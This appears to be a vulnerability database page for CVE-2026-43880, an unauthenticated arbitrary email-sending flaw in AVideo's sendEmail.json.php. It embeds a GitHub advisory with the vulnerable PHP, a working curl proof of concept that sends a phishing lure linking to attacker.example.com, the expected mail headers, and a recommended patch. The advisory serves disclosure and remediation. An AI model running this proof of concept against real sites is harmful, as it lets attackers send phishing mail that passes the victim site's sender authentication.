CVE-2026-43880: AVideo Unauthenticated Arbitrary Email Sending Vulnerability
MODERATECVE-2026-43880 is a MODERATE (CVSS 5.3) unauthenticated arbitrary email sending vulnerability (CWE-940: Improper Verification of Source of a Communication Channel) affecting AVideo libraries in the Packagist ecosystem. The issue involves unauthenticated arbitrary email sending via sendemail.json.php enables phishing from the site’s legitimate from address. Remediation is available in the latest vendor maintenance releases.
CVE-2026-43880 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).
How to Fix CVE-2026-43880
To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-43880, inspect your project dependencies for AVideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-940: Improper Verification of Source of a Communication Channel, where the product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-43880 Affected AVideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 29.0
|
|
References
Frequently Asked Questions
What is CVE-2026-43880?
Which AVideo versions are affected?
What version fixes CVE-2026-43880?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-43880?
What CWE is associated with CVE-2026-43880?
How can I check Packagist dependencies for CVE-2026-43880?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5hgj-7gm9-cff5",
"modified" : "2026-05-13T14:20:23Z",
"published" : "2026-05-05T21:56:19Z",
"aliases" : [ "CVE-2026-43880" ],
"summary" : "AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address",
"details" : "## Summary\n\n`objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a \"public write action\" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.\n\n## Details\n\n**Vulnerable code (`objects/sendEmail.json.php`):**\n\n```php\n10: $valid = Captcha::validation(@$_POST['captcha']);\n11: if(User::isAdmin()){\n12: $valid = true;\n13: }\n...\n16: if ($valid) {\n...\n24: $mail = new \\PHPMailer\\PHPMailer\\PHPMailer();\n25: setSiteSendMessage($mail); // uses site's SMTP credentials\n...\n30: $replyTo = User::getEmail_();\n31: if (empty($replyTo)) {\n32: $replyTo = $config->getContactEmail(); // <-- FALLBACK to site's own email\n33: }\n34:\n35: $sendTo = $_POST['email']; // attacker-controlled recipient\n36:\n37: // if it is from contact form send the message to the siteowner and the sender is the email on the form field\n38: if (!empty($_POST['contactForm'])) {\n39: $replyTo = $_POST['email'];\n40: $sendTo = $config->getContactEmail();\n41: }\n42:\n43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {\n44: $mail->AddReplyTo($replyTo); // site's address\n45: $mail->setFrom($replyTo); // From: site's address\n...\n47: $mail->addAddress($sendTo); // TO: attacker-chosen victim\n...\n49: $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');\n50: $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . \" ({$safeFirstName})\";\n51: $mail->msgHTML($msg);\n...\n55: if (!$mail->send()) { ... }\n```\n\n**`User::getEmail_()` (`objects/user.php:345-352`):** returns `''` when the caller is not logged in, driving the fallback to `$config->getContactEmail()`.\n\n**Endpoint is publicly callable.** `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in \"public write actions\" CSRF/same-domain bypass:\n\n```php\nstatic $builtinBypass = [\n ...\n // Public write actions\n 'sendEmail.json.php',\n ...\n];\nif (in_array($baseName, $builtinBypass, true)) { return; }\n```\n\n**Why existing defenses don't mitigate the abuse:**\n- **Captcha** (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.\n- **`FILTER_VALIDATE_EMAIL`** (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.\n- **`htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`**: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.\n- **No rate limiting, no auth check, no association between the caller and the recipient address.**\n\n**Flow summary for the abuse case (unauthenticated, no `contactForm`):**\n1. `User::getEmail_()` → `''`, so `$replyTo` = site's contact email (line 32)\n2. `$sendTo` = attacker's chosen recipient (line 35)\n3. `contactForm` branch skipped (line 38)\n4. Site's SMTP sends `From: <site contact>` to `<victim>` with attacker's subject/body (lines 44-51)\n\nBecause the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.\n\n## PoC\n\nEndpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`).\n\n```bash\n# 1. Obtain a session + captcha image\ncurl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png\n# attacker manually solves the captcha -> e.g. 'abc123'\n\n# 2. Send phishing email. Note: contactForm is OMITTED.\n# - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email\n# - $sendTo = attacker-chosen recipient\n# - setFrom($replyTo) -> From: is the site's real address\ncurl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \\\n --data-urlencode 'captcha=abc123' \\\n --data-urlencode 'email=victim@target.com' \\\n --data-urlencode 'first_name=Support Team' \\\n --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'\n```\n\nExpected server response:\n```json\n{\"error\":\"\",\"success\":\"Message sent\"}\n```\n\nDelivered headers at `victim@target.com`:\n```\nFrom: <site's legitimate contact email, e.g. contact@legit-videosite.com>\nReply-To: <site's legitimate contact email>\nTo: victim@target.com\nSubject: Message From Site <SiteName> (Support Team)\nBody: <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...\n```\n\nContrast with the intended `contactForm=1` flow (correctly routes to the site owner):\n```bash\ncurl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \\\n --data-urlencode 'captcha=<newcaptcha>' \\\n --data-urlencode 'email=attacker@attacker.com' \\\n --data-urlencode 'comment=hi' \\\n --data-urlencode 'contactForm=1'\n# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)\n```\n\nOmitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.\n\n## Impact\n\n- **Phishing with the site's real sender identity.** Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.\n- **Brand impersonation / account-takeover chains.** Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator.\n- **Mail-reputation damage.** Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.\n- **Works against any AVideo instance with SMTP configured** — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.\n\n## Recommended Fix\n\nCollapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch:\n\n```php\n// objects/sendEmail.json.php\n...\n$valid = Captcha::validation(@$_POST['captcha']);\nif (User::isAdmin()) {\n $valid = true;\n}\n\n// Reject the non-contactForm branch for unauthenticated callers.\n// The \"share with a friend\" flow already requires User::isLogged()\n// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.\nif (empty($_POST['contactForm']) && !User::isLogged()) {\n $obj = new stdClass();\n $obj->error = __(\"Authentication required\");\n header('Content-Type: application/json');\n echo json_encode($obj);\n exit;\n}\n\n$obj = new stdClass();\n$obj->error = '';\nif ($valid) {\n ...\n $replyTo = User::getEmail_();\n if (empty($replyTo)) {\n // Should no longer be reachable for arbitrary recipients.\n // Keep as defense-in-depth only for contactForm=1 path.\n $replyTo = $config->getContactEmail();\n }\n ...\n}\n```\n\nAdditional hardening:\n1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller's address only in `Reply-To`. Never reuse `$config->getContactEmail()` as the From for user-initiated messages.\n2. For the logged-in \"share\" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.\n3. Drop the non-`contactForm` branch entirely if no legitimate unauthenticated UI caller remains.\n4. Add a visible \"user-submitted message via our site\" banner to the email body so recipients can distinguish these from first-party communications.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "29.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43880"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-940" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T21:56:19Z",
"nvd_published_at" : "2026-05-11T22:22:12Z"
}
}